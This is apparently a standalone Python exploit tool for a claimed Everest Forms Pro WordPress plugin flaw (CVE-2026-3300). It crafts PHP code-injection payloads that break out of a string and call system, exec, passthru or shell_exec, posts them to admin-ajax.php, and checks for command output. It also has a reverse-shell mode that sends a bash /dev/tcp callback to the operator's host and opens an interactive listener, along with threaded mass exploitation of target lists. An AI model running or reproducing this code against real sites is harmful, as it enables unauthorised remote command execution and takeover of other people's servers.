#!/usr/bin/env python3 """ CVE-2026-3300 PoC / Scanner + Enhanced Exploitation Everest Forms Pro <= 1.9.12 - Unauthenticated PHP Code Injection (Calculation Addon) """ import argparse import requests import sys import socket import threading import time from urllib.parse import urljoin from concurrent.futures import ThreadPoolExecutor, as_completed requests.packages.urllib3.disable_warnings() BANNER = """ CVE-2026-3300 PoC Everest Forms Pro RCE (PHP Code Injection via Calculation Addon) """ def start_listener(port=4444): print(f"[*] Starting listener on port {port}...") def listener(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", port)) s.listen(1) print(f"[+] Listening on 0.0.0.0:{port}") conn, addr = s.accept() print(f"[+] Reverse shell connected from {addr}") while True: try: cmd = input("shell> ") if cmd.lower() in ["exit", "quit"]: conn.close() break conn.sendall((cmd + "\n").encode()) data = conn.recv(4096).decode(errors='ignore') print(data, end='') except: break threading.Thread(target=listener, daemon=True).start() time.sleep(1.5) def get_payload(command, payload_type="system"): # More reliable payload - breaks out of string context cmd_escaped = command.replace('"', '\\"').replace("'", "\\'") if payload_type == "system": return f"1'; system(\"{cmd_escaped}\"); echo 'PWNED'; //" elif payload_type == "exec": return f"1'; exec(\"{cmd_escaped}\"); echo 'PWNED'; //" elif payload_type == "passthru": return f"1'; passthru(\"{cmd_escaped}\"); echo 'PWNED'; //" elif payload_type == "shell_exec": return f"1'; echo shell_exec(\"{cmd_escaped}\"); echo 'PWNED'; //" return f"1'; system(\"{cmd_escaped}\"); echo 'PWNED'; //" def exploit(target, command="id", payload_type="system", form_id="1", field_name="text_field"): print(f"\n[*] Exploiting {target} | Field: {field_name} | Cmd: {command}") payload = get_payload(command, payload_type) data = { "everest_forms[form_id]": form_id, f"everest_forms[fields][{field_name}]": payload, "everest_forms[submit]": "1", } urls = [ urljoin(target, "/wp-admin/admin-ajax.php"), urljoin(target, "/") ] for url in urls: try: post_data = data.copy() if "admin-ajax" in url: post_data["action"] = "everest_forms_process_submission" r = requests.post(url, data=post_data, timeout=15, verify=False, allow_redirects=True) if r.status_code == 200: print(f"[+] Response from {url} ({len(r.text)} bytes)") if "PWNED" in r.text or any(ind in r.text.lower() for ind in ["uid=", "root:", "www-data", "command not found"]): print(f"[+] SUCCESS on {target}!") print("-" * 80) print(r.text.strip()[:1200]) print("-" * 80) return True except Exception as e: print(f"[-] Error with {url}: {e}") print(f"[-] No clear success on {target}") return False def reverse_shell(target, lport=4444, form_id="1", field_name="text_field"): print(f"\n[*] Sending reverse shell to {target}") host = socket.gethostbyname(socket.gethostname()) rev_payload = f"bash -c 'bash -i >& /dev/tcp/{host}/{lport} 0>&1'" start_listener(lport) time.sleep(2) return exploit(target, rev_payload, "system", form_id, field_name) def scan(target): print(f"\n[*] Scanning {target} for Everest Forms...") endpoints = ["/wp-json/everest-forms/v1/forms", "/wp-admin/admin-ajax.php"] vulnerable = False for ep in endpoints: try: url = urljoin(target, ep) r = requests.get(url, timeout=10, verify=False) if r.status_code == 200 and ("everest" in r.text.lower() or "evf" in r.text.lower()): print(f"[+] Everest Forms detected: {url}") vulnerable = True except: continue print("[!] Likely VULNERABLE (if Complex Calculation is enabled)" if vulnerable else "[-] No clear indicators") def load_targets(file_path): try: with open(file_path, 'r') as f: targets = [line.strip() for line in f if line.strip() and not line.startswith('#')] return targets except Exception as e: print(f"[-] Error reading {file_path}: {e}") sys.exit(1) def main(): parser = argparse.ArgumentParser( description="CVE-2026-3300 PoC Tool - Everest Forms Pro RCE", formatter_class=argparse.ArgumentDefaultsHelpFormatter ) parser.add_argument("target", nargs="?", help="Single target URL") parser.add_argument("-f", "--file", help="Targets file (one URL per line)") parser.add_argument("-m", "--mode", choices=["scan", "poc", "exploit", "reverse"], default="scan", help="Operation mode") parser.add_argument("-c", "--command", default="id", help="Command to execute") parser.add_argument("-p", "--payload", choices=["system", "exec", "passthru", "shell_exec"], default="system", help="PHP execution function") parser.add_argument("-l", "--listen", type=int, metavar="PORT", help="Listener port (reverse mode)") parser.add_argument("--form-id", default="1", help="Form ID to target") parser.add_argument("--field", default="text_field", help="Form field name (any string field: text, email, url, etc.)") parser.add_argument("-t", "--threads", type=int, default=5, help="Threads for batch mode") args = parser.parse_args() print(BANNER) if not args.target and not args.file: parser.print_help() print("\nExamples:") print(" python cve-2026-3300.py http://localhost --mode scan") print(" python cve-2026-3300.py http://localhost --mode exploit --field email_field -c 'whoami'") print(" python cve-2026-3300.py --file targets.txt --mode scan") print(" python cve-2026-3300.py --file targets.txt --mode exploit --field text_1 -c 'id'") sys.exit(1) if args.file: targets = load_targets(args.file) print(f"[+] Loaded {len(targets)} targets") else: targets = [args.target] targets = [t if t.startswith(("http://", "https://")) else "http://" + t for t in targets] if args.mode == "scan": for target in targets: scan(target) elif args.mode == "reverse": if len(targets) > 1: print("[!] Reverse shell works best on single target (using first one)") reverse_shell(targets[0], args.listen or 4444, args.form_id, args.field) else: print(f"[+] Running {args.mode} with {args.threads} threads...") with ThreadPoolExecutor(max_workers=args.threads) as executor: future_to_target = { executor.submit(exploit, target, args.command, args.payload, args.form_id, args.field): target for target in targets } for future in as_completed(future_to_target): try: future.result() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": main()